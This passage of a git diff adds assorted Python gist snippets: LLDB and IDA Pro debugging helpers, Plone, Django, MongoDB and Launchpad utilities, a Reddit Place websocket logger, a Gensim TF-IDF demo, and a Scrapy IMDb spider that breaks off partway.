+    view = view_hierarchy['view']
+    print '%s%s' % (' ' * indent, UIView.description(view))
+    for subview in view_hierarchy['subviews']:
+        print_view_hierarchy(subview, indent=indent+4)
+
+
+def get_view_hierarchy(root_view):
+    view_hierarchy = {
+        'view': root_view,
+        'subviews': [],
+    }
+    subviews = UIView.subviews(root_view)
+    for i in range(0, NSArray.count(subviews)):
+        view = NSArray.object_at_index(subviews, i, "UIView*")
+        view_hierarchy['subviews'].append(get_view_hierarchy(view))
+    return view_hierarchy
+
+
+def _get_root_view():
+    return _eval("(UIView *)[[[UIWindow keyWindow] rootViewController] view]").GetValue()
+
+
+def _eval(expression):
+    thread = lldb.debugger.GetSelectedTarget().GetProcess().GetSelectedThread()
+    frame = thread.frames[0]
+    return frame.EvaluateExpression(expression)
+
+
+def exe(debugger, command, result, internal_dict):
+    _eval("(void)%s" % command)
+    _eval("(void)[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:0.0001]]")
+
+
+class UIView():
+    description_pattern = re.compile('"(.*)"')
+    @classmethod
+    def subviews(cls, view):
+        return _eval("(NSArray *)[%s subviews]" % view).GetValue()
+    @classmethod
+    def description(cls, view):
+        string_obj = _eval("(NSString *)[%s description]" % view).GetValue()
+        string = NSString.utf8string(string_obj)
+        return cls.description_pattern.sub(r'\1', string)
+
+
+class NSArray():
+    @classmethod
+    def count(cls, array):
+        return int(_eval("(int)[%s count]" % array).GetValue())
+
+    @classmethod
+    def object_at_index(cls, array, i, type):
+        return _eval("(%s)[%s objectAtIndex:%d]" % (type, array, i)).GetValue()
+
+
+class NSString():
+    @classmethod
+    def utf8string(cls, string):
+        return _eval("(const char *)[%s UTF8String]" % string).GetSummary()
+
+
+def __lldb_init_module (debugger, dict):
+    debugger.HandleCommand('command script add -f lsview.lsview lsview')
+    debugger.HandleCommand('command script add -f lsview.exe exe')
diff --git a/hard-gists/7671688/._snippet.py b/hard-gists/7671688/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7671688/._snippet.py differ
diff --git a/hard-gists/7671688/snippet.py b/hard-gists/7671688/snippet.py
new file mode 100644
index 00000000..6cfb54c0
--- /dev/null
+++ b/hard-gists/7671688/snippet.py
@@ -0,0 +1,54 @@
+# CopeEA.py
+#
+# for public release, 2012
+#
+# Peter Vreugdenhil
+
+
+import idaapi
+import idc
+import ctypes
+import re
+
+print "Importing CopyEA"
+
+def Paste( data ):
+  strcpy = ctypes.cdll.msvcrt.strcpy
+  ocb = ctypes.windll.user32.OpenClipboard    #Basic Clipboard functions
+  ecb = ctypes.windll.user32.EmptyClipboard
+  gcd = ctypes.windll.user32.GetClipboardData
+  scd = ctypes.windll.user32.SetClipboardData
+  ccb = ctypes.windll.user32.CloseClipboard
+  ga = ctypes.windll.kernel32.GlobalAlloc    # Global Memory allocation
+  gl = ctypes.windll.kernel32.GlobalLock     # Global Memory Locking
+  gul = ctypes.windll.kernel32.GlobalUnlock
+  GMEM_DDESHARE = 0x2000   
+  ocb(None) # Open Clip, Default task
+  ecb()
+  hCd = ga( GMEM_DDESHARE, len(data)+1 )
+  pchData = gl(hCd)
+  strcpy(ctypes.c_char_p(pchData),data)
+  gul(hCd)
+  scd(1,hCd)
+  ccb()
+
+
+def CopyEA():
+  myModuleName = idc.GetInputFile()
+  MyModuleShortName = re.sub(r'\.[^.]*$','',myModuleName)
+  myModuleBase = idaapi.get_imagebase()
+  myOffset = idc.ScreenEA() - myModuleBase
+  pasteStr = "bp !%s + 0x%x" % (MyModuleShortName, myOffset)
+  print pasteStr
+  Paste(pasteStr)
+
+
+def start_up():
+  print "CopyEA Start_up is started..."
+  COPYHOTKEY = 'z'
+
+  print "Press '%s' to copy location of effective address to clipboard()"%COPYHOTKEY
+  idaapi.CompileLine('static _copy_ea() { RunPythonStatement("CopyEA()"); }')
+  idaapi.add_hotkey(COPYHOTKEY,CopyEA)
+
+start_up()
diff --git a/hard-gists/7680498/._snippet.py b/hard-gists/7680498/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7680498/._snippet.py differ
diff --git a/hard-gists/7680498/snippet.py b/hard-gists/7680498/snippet.py
new file mode 100644
index 00000000..48549af2
--- /dev/null
+++ b/hard-gists/7680498/snippet.py
@@ -0,0 +1,64 @@
+from zope.annotation.interfaces import IAnnotations
+from persistent.list import PersistentList
+from Products.CMFCore.utils import getToolByName
+
+FAVBY = "collective.favoriting.favoritedby"
+
+
+def setupAnnotations(context):
+    """
+    set up the annotations if they haven't been set up
+    already. The rest of the functions in here assume that
+    this has already been set up
+    """
+    annotations = IAnnotations(context)
+
+    if not FAVBY in annotations:
+        annotations[FAVBY] = PersistentList()
+
+    return annotations
+
+
+def add_to_favorites(context, userid=None):
+    """
+    """
+    annotations = setupAnnotations(context)
+    if userid is None:
+        mtool = getToolByName(context, 'portal_membership')
+        userid = mtool.getAuthenticatedMember().id
+
+    if userid not in annotations[FAVBY]:
+        annotations[FAVBY].append(userid)
+
+
+def remove_from_favorites(context, userid=None):
+    """
+    """
+    annotations = IAnnotations(context)
+    if userid is None:
+        mtool = getToolByName(context, 'portal_membership')
+        userid = mtool.getAuthenticatedMember().id
+
+    if userid in annotations.get(FAVBY, []):
+        annotations[FAVBY].remove(userid)
+
+
+def is_in_favorites(context, userid=None):
+    """
+    """
+    userids = who_favorites(context)
+    if userid is None:
+        mtool = getToolByName(context, 'portal_membership')
+        userid = mtool.getAuthenticatedMember().id
+
+    return userid in userids
+
+
+def how_many_favorites(context):
+    userids = who_favorites(context)
+    return len(userids)
+
+
+def who_favorites(context):
+    annotations = IAnnotations(context)
+    return annotations.get(FAVBY, [])
diff --git a/hard-gists/7681066/._snippet.py b/hard-gists/7681066/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7681066/._snippet.py differ
diff --git a/hard-gists/7681066/snippet.py b/hard-gists/7681066/snippet.py
new file mode 100644
index 00000000..ad41a421
--- /dev/null
+++ b/hard-gists/7681066/snippet.py
@@ -0,0 +1,45 @@
+"""
+This utility addresses the InegrityError that occurs when you try to add a new record to 
+(probably a recently ported) postgres database while using Django, here's more . . . 
+
+duplicate key value violates unique constraint "<app>_<table>_pkey"
+DETAIL:  Key (id)=(2) already exists.
+
+The problem here is that the Postgres sequence generators are out of sync with your data. 
+Here's a good overview: http://www.vlent.nl/weblog/2011/05/06/integrityerror-duplicate-key-value-violates-unique-constraint/
+
+I had a large number of tables and apps, so I wrote the script below to fix them all at once
+
+Keep the alter_the_db flag set to False. Inspect the output, and only flip the flag when you are
+certain all looks well.
+
+Obviously, use the script at your own risk. It worked well for me, hope it saves others some time
+"""
+
+from django.db import connection
+from south.db import db
+
+tables = connection.introspection.table_names()
+seen_models = connection.introspection.installed_models(tables)
+
+
+def increase_last_value(appname):
+	for t in tables:
+		if appname in t:
+			q = "select id from %s order by id desc limit 1;" % (t)
+			highest_value = db.execute(q)[0][0]
+			alter_statement = "alter sequence %s_id_seq restart with %d;" % (t, highest_value+1)
+			# to inspect the "last_value" currently used by postgress, go to the psql prompt
+			# or python manage.py dbshell and issue this command: \d <app>_<table>_id_seq 
+			# e.g. => \d poll_question_id_seq
+			print "tablename=> %s, highest_value_used=> %s, alter_statement=> %s" % (t, highest_value, alter_statement)
+			
+			# flip this flag when you are ready to make actualy changes to the db
+			alter_the_db = False
+			if alter_the_db:
+				db.execute(alter_statement)
+
+# substitue 'app[x]' with the name of your applications
+increase_last_value('app1')
+increase_last_value('app2')
+increase_last_value('app3')
diff --git a/hard-gists/76877c8f262de24becc081ad96759730/._snippet.py b/hard-gists/76877c8f262de24becc081ad96759730/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/76877c8f262de24becc081ad96759730/._snippet.py differ
diff --git a/hard-gists/76877c8f262de24becc081ad96759730/snippet.py b/hard-gists/76877c8f262de24becc081ad96759730/snippet.py
new file mode 100644
index 00000000..bdbcdc13
--- /dev/null
+++ b/hard-gists/76877c8f262de24becc081ad96759730/snippet.py
@@ -0,0 +1,137 @@
+import requests
+import re
+import sys
+import time
+import json
+import sqlite3
+from websocket import create_connection, WebSocket
+
+
+colors = [
+    "#FFFFFF",
+    "#E4E4E4",
+    "#888888",
+    "#222222",
+    "#FFA7D1",
+    "#E50000",
+    "#E59500",
+    "#A06A42",
+    "#E5D900",
+    "#94E044",
+    "#02BE01",
+    "#00D3DD",
+    "#0083C7",
+    "#0000EA",
+    "#CF6EE4",
+    "#820080"
+]
+
+
+class PlaceWebSocket(WebSocket):
+    def recv_frame(self):
+        frame = super().recv_frame()
+        return json.loads(frame.data.decode('utf-8'))
+
+
+def db_connect(db_name):
+    conn = sqlite3.connect(db_name)
+    c = conn.cursor()
+    c.execute(
+    '''CREATE TABLE IF NOT EXISTS placements (
+        recieved_on INTEGER,
+        y INTEGER,
+        x INTEGER,
+        color INTEGER,
+        author TEXT
+    )''')
+    c.execute(
+    '''CREATE TABLE IF NOT EXISTS activity (
+        recieved_on INTEGER,
+        count INTEGER
+    )''')
+    c.execute(
+    '''CREATE TABLE IF NOT EXISTS starting_bitmaps (
+        recieved_on INTEGER,
+        data BLOB
+    )''')
+    c.execute('CREATE INDEX IF NOT EXISTS placements_recieved_on_idx ON placements (recieved_on)')
+    c.execute('CREATE INDEX IF NOT EXISTS placements_author_idx ON placements (author)')
+    c.execute('CREATE INDEX IF NOT EXISTS placements_color_idx ON placements (color)')
+    c.execute('CREATE INDEX IF NOT EXISTS activity_recieved_on_idx ON activity (recieved_on)')
+    conn.commit()
+
+    return c, conn
+
+
+def save_bitmap(c, conn):
+    resp = requests.get('https://www.reddit.com/api/place/board-bitmap')
+    c.execute('''INSERT INTO starting_bitmaps VALUES (?, ?)''', [
+        int(time.time()),
+        resp.content
+    ])
+    conn.commit()
+
+
+def get_place_url():
+    match = None
+
+    while match is None:
+        resp = requests.get('https://reddit.com/r/place')
+        url_re = re.compile(r'"place_websocket_url": "([^,]+)"')  # Forgive me, for I am a sinner
+        matches = re.findall(url_re, resp.content.decode('utf-8'))
+
+        if len(matches) > 0:
+            match = matches[0]
+
+    return match
+
+
+def main():
+    url = get_place_url()
+    ws = create_connection(url, class_=PlaceWebSocket)
+    c, conn = db_connect('place.sqlite')
+    save_bitmap(c, conn)
+    insert_queue = 0
+    inserted_count = 0
+    max_queue_size = 100
+    save_frame_per = 20000
+
+    while True:
+        try:
+            frame = ws.recv_frame()
+            print(frame)
+
+            if frame['type'] == 'place':
+                c.execute('''INSERT INTO placements VALUES (?, ?, ?, ?, ?)''', [
+                    int(time.time()),
+                    frame['payload']['x'],
+                    frame['payload']['y'],
+                    frame['payload']['color'],
+                    frame['payload']['author']
+                ])
+                insert_queue += 1
+                inserted_count += 1
+            elif frame['type'] == 'activity':
+                c.execute('''INSERT INTO activity VALUES (?, ?)''', [
+                    int(time.time()),
+                    frame['payload']['count']
+                ])
+                insert_queue += 1
+                inserted_count += 1
+
+            if insert_queue >= max_queue_size:
+                conn.commit()
+                insert_queue = 0
+            if inserted_count % save_frame_per == 0:
+                save_bitmap(c, conn)
+        except KeyboardInterrupt:
+            print('Exiting safely...')
+            conn.commit()
+            conn.close()
+            sys.exit()
+        except Exception as e:
+            print('Error occured: {}'.format(str(e)))
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/7689218/._snippet.py b/hard-gists/7689218/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7689218/._snippet.py differ
diff --git a/hard-gists/7689218/snippet.py b/hard-gists/7689218/snippet.py
new file mode 100644
index 00000000..ee50438f
--- /dev/null
+++ b/hard-gists/7689218/snippet.py
@@ -0,0 +1,341 @@
+#!/usr/bin/python
+"""Copy published precise PPA packages to quantal raring saucy.
+
+Typical usage:
+
+    - build a gtimelog package for precise
+    - dput ppa:gtimelog-dev gtimelog_0.8.1-0ppa0_source.changes
+    - wait for it to be built
+    - run ppa-gtimelog-copy-packages
+
+Based on https://gist.github.com/mgedmin/6306694
+"""
+
+import functools
+import logging
+import optparse
+import sys
+import time
+from collections import defaultdict
+
+from launchpadlib.launchpad import Launchpad
+
+
+#
+# Hardcoded configuration
+#
+
+PPA_OWNER = 'gtimelog-dev'
+PPA_NAME = 'ppa'
+PACKAGE_WHITELIST = ['gtimelog']
+
+SOURCE_SERIES = 'precise'
+TARGET_SERIESES = ['saucy', 'raring', 'quantal', 'trusty']
+POCKET = 'Release'
+
+APP_NAME = 'ppa-gtimelog-copy-packages'
+
+
+#
+# Logging
+#
+
+log = logging.getLogger(APP_NAME)
+
+STARTUP_TIME = LAST_LOG_TIME = time.time()
+REQUESTS = LAST_REQUESTS = 0
+
+
+class DebugFormatter(logging.Formatter):
+
+    def format(self, record):
+        global LAST_LOG_TIME, LAST_REQUESTS
+        msg = super(DebugFormatter, self).format(record)
+        if msg.startswith("  "):  # continuation of previous message
+            return msg
+        now = time.time()
+        elapsed = now - STARTUP_TIME
+        delta = now - LAST_LOG_TIME
+        LAST_LOG_TIME = now
+        delta_requests = REQUESTS - LAST_REQUESTS
+        LAST_REQUESTS = REQUESTS
+        return "\n%.3fs (%+.3fs) [%d/+%d] %s" % (elapsed, delta, REQUESTS, delta_requests, msg)
+
+
+def enable_http_debugging():
+    import httplib2
+    httplib2.debuglevel = 1
+
+
+def install_request_counter():
+    import httplib2
+    orig = httplib2.Http.request
+    @functools.wraps(orig)
+    def wrapper(*args, **kw):
+        global REQUESTS
+        REQUESTS += 1
+        return orig(*args, **kw)
+    httplib2.Http.request = wrapper
+
+
+def set_up_logging(level=logging.INFO):
+    handler = logging.StreamHandler(sys.stdout)
+    if level == logging.DEBUG:
+        handler.setFormatter(DebugFormatter())
+    log.addHandler(handler)
+    log.setLevel(level)
+
+
+#
+# Caching decorators
+#
+
+class once(object):
+    """A @property that is computed only once per instance.
+
+    Also known as @reify in Pyramid and @Lazy in Zope.
+    """
+
+    def __init__(self, fn):
+        self.fn = fn
+
+    def __get__(self, obj, type=None):
+        value = self.fn(obj)
+        # Put the value in the instance __dict__.  Since the once
+        # descriptor has no __set__ and is therefore not a data
+        # descriptor, instance __dict__ will take precedence on
+        # subsequent attribute accesses.
+        setattr(obj, self.fn.__name__, value)
+        return value
+
+
+def cache(fn):
+    """Trivial memoization decorator."""
+    cache = fn.cache = {}
+    @functools.wraps(fn)
+    def inner(*args):
+        # The way we use the cache is suboptimal for methods: it is
+        # shared between all instances, but the instance is part of
+        # the cache lookup key, negating any advantage of the sharing.
+        # Luckily in this script there's only one instance.
+        try:
+            return cache[args]
+        except KeyError:
+            value = cache[args] = fn(*args)
+            return value
+        except TypeError:
+            raise TypeError('%s argument types preclude caching: %s' %
+                            (fn.__name__, repr(args)))
+    return inner
+
+
+#
+# Launchpad API wrapper with heavy caching
+#
+
+class LaunchpadWrapper(object):
+    application_name = 'ppa-gtimelog-copy-packages'
+    launchpad_instance = 'production'
+
+    ppa_owner = PPA_OWNER
+    ppa_name = PPA_NAME
+
+    def __init__(self):
+        self.queue = defaultdict(set)
+
+    # Trivial caching wrappers for Launchpad API
+
+    @once
+    def lp(self):
+        log.debug("Logging in...")
+        # cost: 2 HTTP requests
+        return Launchpad.login_with(self.application_name, self.launchpad_instance)
+
+    @once
+    def owner(self):
+        lp = self.lp                # ensure correct ordering of debug messages
+        log.debug("Getting the owner...")
+        # cost: 1 HTTP request
+        return lp.people[self.ppa_owner]
+
+    @once
+    def ppa(self):
+        owner = self.owner          # ensure correct ordering of debug messages
+        log.debug("Getting the PPA...")
+        # cost: 1 HTTP request
+        return owner.getPPAByName(name=self.ppa_name)
+
+    @cache
+    def get_series(self, name):
+        ppa = self.ppa              # ensure correct ordering of debug messages
+        log.debug("Locating the series: %s...", name)
+        # cost: 1 HTTP request
+        return ppa.distribution.getSeries(name_or_version=name)
+
+    @cache
+    def get_published_sources(self, series_name):
+        series = self.get_series(series_name)
+        log.debug("Listing source packages for %s...", series_name)
+        # cost: 1 HTTP request
+        return self.ppa.getPublishedSources(distro_series=series)
+
+    @cache
+    def get_builds_for_source(self, source):
+        log.debug("Listing %s builds for %s %s...",
+                  source.distro_series_link.rpartition('/')[-1],
+                  source.source_package_name,
+                  source.source_package_version)
+        # cost: 1 HTTP request, plus another one for accessing the list
+        return source.getBuilds()
+
+    # Package availability: for a certain package name + version
+    # - source package is available but not published
+    # - source package is published, but binary package is not built
+    # - binary package is built but not published
+    # - binary package is published
+    # And then there are also superseded, deleted and obsolete packages.
+    # Figuring out binary package status costs extra HTTP requests.
+
+    # We're dealing with arch: any packages only, so there's only one
+    # relevant binary package.  It should be trivial to extend this to
+    # arch: all.
+
+    # A package can be copied when it has a published binary package
+    # in the source series.
+
+    # A package should be copied when it can be copied, and it doesn't
+    # exist in the target series.
+
+    @cache
+    def get_source_packages(self, series_name, package_names=None):
+        """Return {package_name: {version: 'Status', ...}, ...}"""
+        res = defaultdict(dict)
+        for source in self.get_published_sources(series_name):
+            name = source.source_package_name
+            if package_names is not None and name not in package_names:
+                continue
+            version = source.source_package_version
+            res[name][version] = source
+        return res
+
+    def get_source_for(self, name, version, series_name):
+        sources = self.get_source_packages(series_name)
+        return sources.get(name, {}).get(version)
+
+    def is_missing(self, name, version, series_name):
+        return self.get_source_for(name, version, series_name) is None
+
+    def get_builds_for(self, name, version, series_name):
+        source = self.get_source_for(name, version, series_name)
+        if not source:
+            return None
+        return self.get_builds_for_source(source)
+
+    def has_published_binaries(self, name, version, series_name):
+        builds = self.get_builds_for(name, version, series_name)
+        # XXX: this is probably somewhat bogus
+        # e.g. it doesn't check that the binary has been published
+        return not builds or builds[0].buildstate == u'Successfully built'
+
+    @cache
+    def get_usable_sources(self, package_names, series_name):
+        res = []
+        for source in self.get_published_sources(series_name):
+            name = source.source_package_name
+            if name not in package_names:
+                continue
+            version = source.source_package_version
+            if source.status in ('Superseded', 'Deleted', 'Obsolete'):
+                log.info("%s %s is %s in %s", name, version,
+                         source.status.lower(), series_name)
+                continue
+            if source.status != ('Published'):
+                log.warning("%s %s is %s in %s", name, version,
+                            source.status.lower(), series_name)
+                continue
+            res.append((name, version))
+        return res
+
+    def queue_copy(self, name, source_series, target_series, pocket):
+        self.queue[source_series, target_series, pocket].add(name)
+
+    def perform_queued_copies(self):
+        first = True
+        for (source_series, target_series, pocket), names in self.queue.items():
+            if not names:
+                continue
+            if first:
+                log.info("")
+                first = False
+            log.info("Copying %s to %s", ', '.join(sorted(names)),
+                     target_series)
+            self.ppa.syncSources(from_archive=self.ppa,
+                                 to_series=target_series,
+                                 to_pocket=pocket,
+                                 include_binaries=True,
+                                 source_names=sorted(names))
+
+
+def main():
+    parser = optparse.OptionParser('usage: %prog [options]',
+        description="copy ppa:%s/%s packages from %s to %s"
+                    % (PPA_OWNER, PPA_NAME, SOURCE_SERIES, ', '.join(TARGET_SERIESES)))
+    parser.add_option('-v', '--verbose', action='count')
+    parser.add_option('-q', '--quiet', action='store_true')
+    parser.add_option('--debug', action='store_true')
+    opts, args = parser.parse_args()
+
+    if opts.debug:
+        enable_http_debugging()
+        install_request_counter()
+        set_up_logging(logging.DEBUG)
+    elif opts.verbose > 1:
+        install_request_counter()
+        set_up_logging(logging.DEBUG)
+    elif opts.verbose:
+        set_up_logging(logging.INFO)
+    else:
+        set_up_logging(logging.WARNING)
+
+    lp = LaunchpadWrapper()
+
+    for (name, version) in lp.get_usable_sources(tuple(PACKAGE_WHITELIST),
+                                                 SOURCE_SERIES):
+        mentioned = False
+        notices = []
+        for target_series_name in TARGET_SERIESES:
+            source = lp.get_source_for(name, version, target_series_name)
+            if source is None:
+                mentioned = True
+                log.info("%s %s missing from %s", name, version,
+                         target_series_name)
+                if lp.has_published_binaries(name, version,
+                                             SOURCE_SERIES):
+                    lp.queue_copy(name, SOURCE_SERIES,
+                                  target_series_name, POCKET)
+                else:
+                    builds = lp.get_builds_for(name, version, SOURCE_SERIES)
+                    if builds:
+                        log.info("  but it isn't built yet (state: %s) - %s",
+                                 builds[0].buildstate, builds[0].web_link)
+            elif source.status != 'Published':
+                notices.append("  but it is %s in %s" %
+                               (source.status.lower(), target_series_name))
+            elif not lp.has_published_binaries(name, version, target_series_name):
+                builds = lp.get_builds_for(name, version, target_series_name)
+                if builds:
+                    notices.append("  but it isn't built yet for %s (state: %s) - %s" %
+                                   (target_series_name, builds[0].buildstate,
+                                   builds[0].web_link))
+        if not mentioned or notices:
+            log.info("%s %s", name, version)
+            for notice in notices:
+                log.info(notice)
+
+    lp.perform_queued_copies()
+
+    log.debug("All done")
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/7692685/._snippet.py b/hard-gists/7692685/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7692685/._snippet.py differ
diff --git a/hard-gists/7692685/snippet.py b/hard-gists/7692685/snippet.py
new file mode 100644
index 00000000..c2d11655
--- /dev/null
+++ b/hard-gists/7692685/snippet.py
@@ -0,0 +1,110 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+'''
+
+This script just show the basic workflow to compute TF-IDF similarity matrix with Gensim 
+
+
+OUTPUT :
+
+clemsos@miner $ python gensim_workflow.py 
+
+
+How to use Gensim to compute TF-IDF similarity step by step
+----------
+Let's start with a raw corpus :<type 'list'>
+
+STEP 1 : Index and vectorize
+----------
+We create a dictionary, an index of all unique values: <class 'gensim.corpora.dictionary.Dictionary'>
+Then convert convert tokenized documents to vectors: <type 'list'>
+Save the vectorized corpus as a .mm file
+
+STEP 2 : Transform and compute similarity between corpuses
+----------
+We load our dictionary : <class 'gensim.corpora.dictionary.Dictionary'>
+We load our vector corpus : <class 'gensim.corpora.mmcorpus.MmCorpus'> 
+We initialize our TF-IDF transformation tool : <class 'gensim.models.tfidfmodel.TfidfModel'>
+We convert our vectors corpus to TF-IDF space : <class 'gensim.interfaces.TransformedCorpus'>
+
+STEP 3 : Create similarity matrix of all files
+----------
+We compute similarities from the TF-IDF corpus : <class 'gensim.similarities.docsim.MatrixSimilarity'>
+We get a similarity matrix for all documents in the corpus <type 'numpy.ndarray'>
+
+Done in 0.011s
+
+'''
+from gensim import corpora, models, similarities
+from time import time
+
+t0=time()
+
+# keywords have been extracted and stopwords removed.
+
+tweets=[['human', 'interface', 'computer'],
+ ['survey', 'user', 'computer', 'system', 'response', 'time'],
+ ['eps', 'user', 'interface', 'system'],
+ ['system', 'human', 'system', 'eps'],
+ ['user', 'response', 'time'],
+ ['trees'],
+ ['graph', 'trees'],
+ ['graph', 'minors', 'trees'],
+ ['graph', 'minors', 'survey']] 
+
+print "How to use Gensim to compute TF-IDF similarity step by step"
+print '-'*10
+print "Let's start with a raw corpus :%s"%type(tweets)
+print
+# STEP 1 : Compile corpus and dictionary
+print "STEP 1 : Index and vectorize"
+print '-'*10
+
+# create dictionary (index of each element)
+dictionary = corpora.Dictionary(tweets)
+dictionary.save('/tmp/tweets.dict') # store the dictionary, for future reference
+print "We create a dictionary, an index of all unique values: %s"%type(dictionary)
+
+# compile corpus (vectors number of times each elements appears)
+raw_corpus = [dictionary.doc2bow(t) for t in tweets]
+print "Then convert convert tokenized documents to vectors: %s"% type(raw_corpus)
+corpora.MmCorpus.serialize('/tmp/tweets.mm', raw_corpus) # store to disk
+print "Save the vectorized corpus as a .mm file"
+print
+
+# STEP 2 : similarity between corpuses
+print "STEP 2 : Transform and compute similarity between corpuses"
+print '-'*10
+dictionary = corpora.Dictionary.load('/tmp/tweets.dict')
+print "We load our dictionary : %s"% type(dictionary)
+
+corpus = corpora.MmCorpus('/tmp/tweets.mm')
+print "We load our vector corpus : %s "% type(corpus) 
+
+# Transform Text with TF-IDF
+tfidf = models.TfidfModel(corpus) # step 1 -- initialize a model
+print "We initialize our TF-IDF transformation tool : %s"%type(tfidf)
+
+# corpus tf-idf
+corpus_tfidf = tfidf[corpus]
+print "We convert our vectors corpus to TF-IDF space : %s"%type(corpus_tfidf)
+print
+
+# STEP 3 : Create similarity matrix of all files
+print "STEP 3 : Create similarity matrix of all files"
+print '-'*10
+index = similarities.MatrixSimilarity(tfidf[corpus])
+print "We compute similarities from the TF-IDF corpus : %s"%type(index)
+index.save('/tmp/deerwester.index')
+index = similarities.MatrixSimilarity.load('/tmp/deerwester.index')
+
+sims = index[corpus_tfidf]
+print "We get a similarity matrix for all documents in the corpus %s"% type(sims)
+print 
+print "Done in %.3fs"%(time()-t0)
+
+# print sims
+# print list(enumerate(sims))
+# sims = sorted(enumerate(sims), key=lambda item: item[1])
+# print sims # print sorted (document number, similarity score) 2-tuples
\ No newline at end of file
diff --git a/hard-gists/769687/._snippet.py b/hard-gists/769687/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/769687/._snippet.py differ
diff --git a/hard-gists/769687/snippet.py b/hard-gists/769687/snippet.py
new file mode 100644
index 00000000..7e7f9372
--- /dev/null
+++ b/hard-gists/769687/snippet.py
@@ -0,0 +1,37 @@
+import pymongo
+from pymongo import Connection
+from pymongo.dbref import DBRef
+from pymongo.database import Database
+
+# connect
+connection = Connection()
+db = Database(connection, "things")
+
+# clean up
+db.owners.remove()
+db.tasks.remove()
+
+# owners and tasks
+db.owners.insert({"name":"Jim"})
+db.tasks.insert([
+    {"name": "read"},
+    {"name": "sleep"}
+    ])
+
+# update jim with tasks: reading and sleeping
+reading_task = db.tasks.find_one({"name": "read"})
+sleeping_task = db.tasks.find_one({"name": "sleep"})
+
+jim_update = db.owners.find_one({"name": "Jim"})
+jim_update["tasks"] = [
+    DBRef(collection = "tasks", id = reading_task["_id"]),
+    DBRef(collection = "tasks", id = sleeping_task["_id"])
+    ]
+
+db.owners.save(jim_update)
+
+# get jim fresh again and display his tasks
+fresh_jim = db.owners.find_one({"name":"Jim"})
+print "Jim's tasks are:"
+for task in fresh_jim["tasks"]:
+    print db.dereference(task)["name"]
diff --git a/hard-gists/7698491/._snippet.py b/hard-gists/7698491/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7698491/._snippet.py differ
diff --git a/hard-gists/7698491/snippet.py b/hard-gists/7698491/snippet.py
new file mode 100644
index 00000000..c068ffc9
--- /dev/null
+++ b/hard-gists/7698491/snippet.py
@@ -0,0 +1,54 @@
+# Source: https://gist.github.com/Blether/7698491
+#
+# script to update current pythonista script from its github gist
+# builds on the ole zorn gist download code
+# uses first url found in the comments
+#
+# replaces old version ? better to elegant rename backup old version?
+
+import clipboard
+import editor
+import console
+import re
+import os
+from new_from_gist import download_gist
+
+class InvalidGistURLError (Exception): pass
+class MultipleFilesInGistError (Exception): pass
+class NoFilesInGistError (Exception): pass
+class GistDownloadError (Exception): pass
+
+def first_url_from_comments(wholetext):
+	first_url = ''
+	for line in wholetext.splitlines():
+		comment = re.findall(r"^#", line)
+		if comment:
+			match = re.findall(r"htt", line)
+			if match:
+				first_url = line[line.find('htt'):].split()[0]
+				break 
+	return first_url
+
+def main():
+	foo = editor.get_text()
+	gist_url = first_url_from_comments(foo)
+	try:
+		filename, content = download_gist(gist_url)
+		editor.replace_text(0,len(editor.get_text()),content)
+		#else:
+			#editor.make_new_file(filename, content)
+	except InvalidGistURLError:
+		console.alert('No Gist URL',
+		              'The clipboard doesn\'t seem to contain a valid Gist URL.',
+		              'OK')
+	except MultipleFilesInGistError:
+		console.alert('Multiple Files', 'This Gist contains multiple ' +
+			            'Python files, which isn\'t currently supported.')
+	except NoFilesInGistError:
+		console.alert('No Python Files', 'This Gist contains no Python files.')
+	except GistDownloadError:
+		console.alert('Error', 'The Gist could not be downloaded.')
+		
+if __name__ == '__main__':
+	main()
+	
diff --git a/hard-gists/76fa64ee8380763871ab/._snippet.py b/hard-gists/76fa64ee8380763871ab/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/76fa64ee8380763871ab/._snippet.py differ
diff --git a/hard-gists/76fa64ee8380763871ab/snippet.py b/hard-gists/76fa64ee8380763871ab/snippet.py
new file mode 100644
index 00000000..c21b5f52
--- /dev/null
+++ b/hard-gists/76fa64ee8380763871ab/snippet.py
@@ -0,0 +1,152 @@
+'''
+Spider for IMDb
+- Retrieve most popular movies & TV series with rating of 8.0 and above that have at least 5 award nominations
+- Crawl next pages recursively
+- Follow the details pages of scraped films to retrieve more information of each film
+'''
+
+from scrapy.contrib.spiders import CrawlSpider, Rule
+from scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor
+from scrapy.selector import Selector
+from scrapy.http.request import Request
+
+from scrapy_tutorial.items import ScrapyTutorialItem
+
+class IMDbDetailsPageSpider(CrawlSpider):
+
+	name = "imdbdetailspage"
+	allowed_domains = ["imdb.com"]
+	start_urls = [
+		"http://www.imdb.com/search/title?count=20&start=1&title_type=feature,tv_series"
+	]
+	rules = (
+		# Extract links for next pages
+		Rule(SgmlLinkExtractor(allow=(), restrict_xpaths=('//div[contains(@class, "leftright")][1]//a[contains(., "Next")]')), callback='parse_listings', follow=True),
+	)
+
+	def parse_start_url(self, response):
+		'''
+		Crawl start URLs
+		'''
+
+		return self.parse_listings(response)
+
+	def parse_listings(self, response):
+		'''
+		Extract data from listing pages
+		'''
+
+		sel = Selector(response)
+		films = sel.xpath('//table[contains(@class, "results")]//tr[contains(@class, "detailed")]')
+
+		for film in films:
+			rating = film.xpath('.//span[contains(@class, "rating-rating")]/span[contains(@class, "value")]/text()').extract()
+			rating = self.__normalise(rating)
+			rating = self.__to_float(rating)
+
+			# Get films with rating of 8.0 and above
+			if rating > 8:
+				film_url = film.xpath('.//td[contains(@class, "title")]/a/@href').extract()
+				film_url = self.__normalise(film_url)
+				film_url = self.__to_absolute_url(response.url, film_url)
+
